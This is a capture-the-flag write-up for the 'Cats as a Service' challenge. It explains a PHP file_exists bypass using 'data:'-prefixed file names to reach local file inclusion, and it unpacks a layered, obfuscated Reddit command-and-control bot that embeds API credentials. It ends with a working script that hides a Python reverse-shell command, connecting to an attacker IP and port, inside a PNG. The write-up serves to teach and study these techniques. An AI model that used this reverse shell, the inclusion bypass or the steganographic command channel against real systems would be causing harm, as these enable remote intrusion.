CTF-writeups

Some CTF writeups


Project maintained by Qyn-CTF

Cats as a Service - Medium

Description:

I found some absolutely stunning cat pictures on Reddit lately. They all were posted by the famous u/CSCG_Controller. However, i think this is not a real person, but rather a bot?? I think you probably should investigate this further...


First looks

We’re given the source code of a php application, with some interesting behaviour, the most interesting being the lfi.php file:

<?php
error_reporting(0);
# Can you perform a local file inclusion?
# I think some filenames behave weirdly in PHP sometimes? :thonk: Pls fix

if($_GET['f']) {
    $f = basename($_GET['f']);
    if(file_exists($f)) die('hacking detected!');

    include $f;
}

show_source(__FILE__);

So our first goal is to login to the admin panel and lfi.php gives us rce, but only when we give it a file that doesn’t exist?

Solving

I first started looking at the bugs section of php, and there is this bug, I thought this must have been it, but it doesn’t seem like the application is multi threaded.
So there is a feature in php, that when you give file_exists a file starting with data: it returns false. I found this by just searching through the php-src, I first found this:

FileFunction(PHP_FN(file_exists), FS_EXISTS)

And then this:

PHPAPI void php_stat(zend_string *filename, int type, zval *return_value)
{
	zend_stat_t *stat_sb;
	php_stream_statbuf ssb;
	int flags = 0, rmask=S_IROTH, wmask=S_IWOTH, xmask=S_IXOTH; /* access rights defaults to other */
	const char *local = NULL;
	php_stream_wrapper *wrapper = NULL;

	if (IS_ACCESS_CHECK(type)) {
		if (!ZSTR_LEN(filename) || CHECK_NULL_PATH(ZSTR_VAL(filename), ZSTR_LEN(filename))) {
			if (ZSTR_LEN(filename) && !IS_EXISTS_CHECK(type)) {
				php_error_docref(NULL, E_WARNING, "Filename contains null byte");
			}
			RETURN_FALSE;
		}

		if ((wrapper = php_stream_locate_url_wrapper(ZSTR_VAL(filename), &local, 0)) == &php_plain_files_wrapper
		 && php_check_open_basedir(local)) {
			RETURN_FALSE;
		}

Which calls this php_stream_locate_url_wrapper function:

PHPAPI php_stream_wrapper *php_stream_locate_url_wrapper(const char *path, const char **path_for_open, int options)
{
    ...

	if ((*p == ':') && (n > 1) && (!strncmp("//", p+1, 2) || (n == 4 && !memcmp("data:", path, 5)))) {
		protocol = path;
	}

Which eventually returns false. So we simply upload a file with it’s name starting with data: and we pass the file_exists function.

Solving 2

So that's it for the first part of the challenge, the second part makes it unnecessarily complicated, since it's not difficult.
In the files we got, we also have a binary pleb, if we reverse it we get something like this:

strcpy(password, "l33th4XX0r");
passwordLen = strlen(password);
sr = fopen("pleb", "rb");
if (sr)
{
    sw = fopen("p.zip", "wb");
    if ( sw )
    {
        fseek(sr, 6120LL, 0);
        while ( !feof(sr) )
        {
        v4 = fgetc(sr);
        fputc((char)(password[v5++ % passwordLen] ^ v4), sw);
        }
        fclose(sr);
        fclose(sw);
        system("unzip -o p.zip > /dev/null");
        system("rm -rf p.zip");
        system("perl p");
        system("rm -rf p");
        result = 0LL;
    }
}

So in our pleb binary there is another perl application, we can extract this like this:

def xor(data, key):
    l = len(key)
    return bytearray((
        (data[i] ^ key[i % l]) for i in range(0,len(data))
    ))

with open("pleb", "rb") as f:
    data = f.read()[6120:]

key = b"l33th4XX0r"

data2 = xor(data, key)

with open("out.zip", "wb") as f:
    f.write(data2)

Then unzipping out.zip gives us the perl application. This file contains some obfuscated perl code, but we can simply deobfuscate it if we replace the first line, eval eval '"'. with print eval '"'.. And this will again give us an obfuscated perl application. We then can use the same trick to deobfuscate it, replace the first eval with print.
This will finally give us something useful. If we ignore all the data, we see the last few lines:

binmode(FH);
print FH pack "H*",$.;
print FH pack "H*",$a_;
close(FH);
qx/chmod +x $_/;
qx/python3 -c "\$(.\/$_ $0)" 2> \/dev\/null/;
qx/rm -rf $_/;

And if we just remove the last 3 lines and execute it, we end up with a new binary, which takes our first perl application as input. So if we execute that with the first perl thing, we get the following python code:

import base64

code ="CiMhL3Vzci9iaW4vZW52IHB5dGhvbjMKaW1wb3J0IHByYXcsIHJlcXVlc3RzLCBvcywgc3VicHJvY2VzcywgYmFzZTY0CmZyb20gc3RlZ2FubyBpbXBvcnQgbHNiCgpjbGllbnRfaWQgPSAiZzJWbzJidGJJREtVbXciIApjbGllbnRfc2VjcmV0ID0gIjlnUmsyWmN4OGJoNlRjUk82MDM4QV80OTVKeUxtZyIgCnVzZXJfYWdlbnQgPSAiQ1NDRyBDb250cm9sbGVyIgphdXRob3JpemVkX2F1dGhvcnMgPSB7fQoKZGVmIHN4b3IoZW5jb2RlX3N0cmluZywga2V5KToKICAgIGlmIGxlbihlbmNvZGVfc3RyaW5nKSA+IGxlbihrZXkpIGFuZCBsZW4oa2V5KSA+IDA6CiAgICAgICAga2V5ID0ga2V5KihpbnQobGVuKGVuY29kZV9zdHJpbmcpL2xlbihrZXkpKSsxKQogICAgcmV0dXJuICcnLmpvaW4oY2hyKG9yZChhKSBeIG9yZChiKSkgZm9yIGEsYiBpbiB6aXAoZW5jb2RlX3N0cmluZyxrZXkpKQoKdHJ5OgogICAgaXAgPSBvcy5nZXRlbnYoJ0NPTU1BTkRFUicsICIxMjcuMC4wLjEiKQogICAgYXV0aG9ycyA9IHJlcXVlc3RzLmdldCgiaHR0cDovLyIgKyBpcCArIjoxMDI0L3JlZGRpdCIpLmNvbnRlbnQuZGVjb2RlKCkuc3BsaXQoInwiKQpleGNlcHQ6CiAgICBhdXRob3JzID0gW10KICAgIAppZiBsZW4oYXV0aG9ycykgPD0gMToKICAgIGF1dGhvcml6ZWRfYXV0aG9yc1siQ1NDR19Db250cm9sbGVyIl0gPSAiczNjcjN0X1A0c3N3MHJkIgplbHNlOgogICAgZm9yIGF1dGhvciBpbiBhdXRob3JzOgogICAgICAgIG5hbWUsIHBhc3N3b3JkID0gYXV0aG9yLnNwbGl0KCI6IikKICAgICAgICBhdXRob3JpemVkX2F1dGhvcnNbbmFtZV0gPSBwYXNzd29yZAoKcmVkZGl0ID0gcHJhdy5SZWRkaXQoY2xpZW50X2lkID0gY2xpZW50X2lkLCAgCiAgICAgICAgICAgICAgICAgICAgIGNsaWVudF9zZWNyZXQgPSBjbGllbnRfc2VjcmV0LCAKICAgICAgICAgICAgICAgICAgICAgdXNlcl9hZ2VudCA9IHVzZXJfYWdlbnQpCgpmb3Igc3VibWlzc2lvbiBpbiByZWRkaXQuc3VicmVkZGl0KCJ0ZXN0IikubmV3KCk6CiAgICBpZiBzdWJtaXNzaW9uLmF1dGhvciBhbmQgc3VibWlzc2lvbi5hdXRob3IubmFtZSBpbiBhdXRob3JpemVkX2F1dGhvcnM6CiAgICAgICAgbGluayA9IHN1Ym1pc3Npb24udXJsCiAgICAgICAgZGF0YSA9IHJlcXVlc3RzLmdldChsaW5rKQogICAgICAgIGlmICJpbWFnZS9wbmciID09IGRhdGEuaGVhZGVyc1siY29udGVudC10eXBlIl06CiAgICAgICAgICAgIGlvID0gb3BlbigiY29tbWFuZC5wbmciLCJ3YiIpCiAgICAgICAgICAgIGlvLndyaXRlKGRhdGEuY29udGVudCkKICAgICAgICAgICAgaW8uY2xvc2UoKQogICAgICAgICAgICBjb21tYW5kX3RvX2V4ZWN1dGUgPSBsc2IucmV2ZWFsKCIuL2NvbW1hbmQucG5nIikKICAgICAgICAgICAgY29tbWFuZF90b19leGVjdXRlID0gc3hvcihiYXNlNjQuYjY0ZGVjb2RlKGNvbW1hbmRfdG9fZXhlY3V0ZSkuZGVjb2RlKCksYXV0aG9yaXplZF9hdXRob3JzW3N1Ym1pc3Npb24uYXV0aG9yLm5hbWVdKQogICAgICAgICAgICBvcy5yZW1vdmUoImNvbW1hbmQucG5nIikKICAgICAgICAgICAgc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoY29tbWFuZF90b19leGVjdXRlLCBzaGVsbD1UcnVlLCB0aW1lb3V0PTIpCg=="

eval(compile(base64.b64decode(code),'<string>','exec'))

If we decode this, we finally end up with our final python app:


#!/usr/bin/env python3
import praw, requests, os, subprocess, base64
from stegano import lsb

client_id = "g2Vo2btbIDKUmw" 
client_secret = "9gRk2Zcx8bh6TcRO6038A_495JyLmg" 
user_agent = "CSCG Controller"
authorized_authors = {}

def sxor(encode_string, key):
    if len(encode_string) > len(key) and len(key) > 0:
        key = key*(int(len(encode_string)/len(key))+1)
    return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(encode_string,key))

try:
    ip = os.getenv('COMMANDER', "127.0.0.1")
    authors = requests.get("http://" + ip +":1024/reddit").content.decode().split("|")
except:
    authors = []
    
if len(authors) <= 1:
    authorized_authors["CSCG_Controller"] = "s3cr3t_P4ssw0rd"
else:
    for author in authors:
        name, password = author.split(":")
        authorized_authors[name] = password

reddit = praw.Reddit(client_id = client_id,  
                     client_secret = client_secret, 
                     user_agent = user_agent)

for submission in reddit.subreddit("test").new():
    if submission.author and submission.author.name in authorized_authors:
        link = submission.url
        data = requests.get(link)
        if "image/png" == data.headers["content-type"]:
            io = open("command.png","wb")
            io.write(data.content)
            io.close()
            command_to_execute = lsb.reveal("./command.png")
            command_to_execute = sxor(base64.b64decode(command_to_execute).decode(),authorized_authors[submission.author.name])
            os.remove("command.png")
            subprocess.check_output(command_to_execute, shell=True, timeout=2)

We can read that this app logins into reddit, checks r/test for images and if the author is in the /reddit file we control from admin.php, it does some stego stuff and executes a hidden command. We can create a simple image the script understands like this:

from stegano import lsb
import base64

def sxor(encode_string, key):
    if len(encode_string) > len(key) and len(key) > 0:
        key = key*(int(len(encode_string)/len(key))+1)
    return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(encode_string,key))


key = "qyn"

ip = "ip"
port = "port"
command = f"export RHOST=\"{ip}\";export RPORT={port};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")'"
enc = base64.b64encode(sxor(command, key).encode()).decode()

secret = lsb.hide("./cat.png", enc)
secret.save("./secretCmd.png")

secret2 = base64.b64decode(lsb.reveal("./secretCmd2.png").encode()).decode()
print(sxor(secret2, key))

And when we finally upload this to r/test, we can finally search for our flag on the server:
CSCG{ga1n_4ll_th3_p0w3r_y0u_mus7}

Overall, I think the php part of the challenge was a lot of fun, even though after solving the challenge I found the challenge again on some different site with the solution in the same pdf.
The stego part of the challenge was just completely unnecessary and annoying, since you needed an open host and port.

Home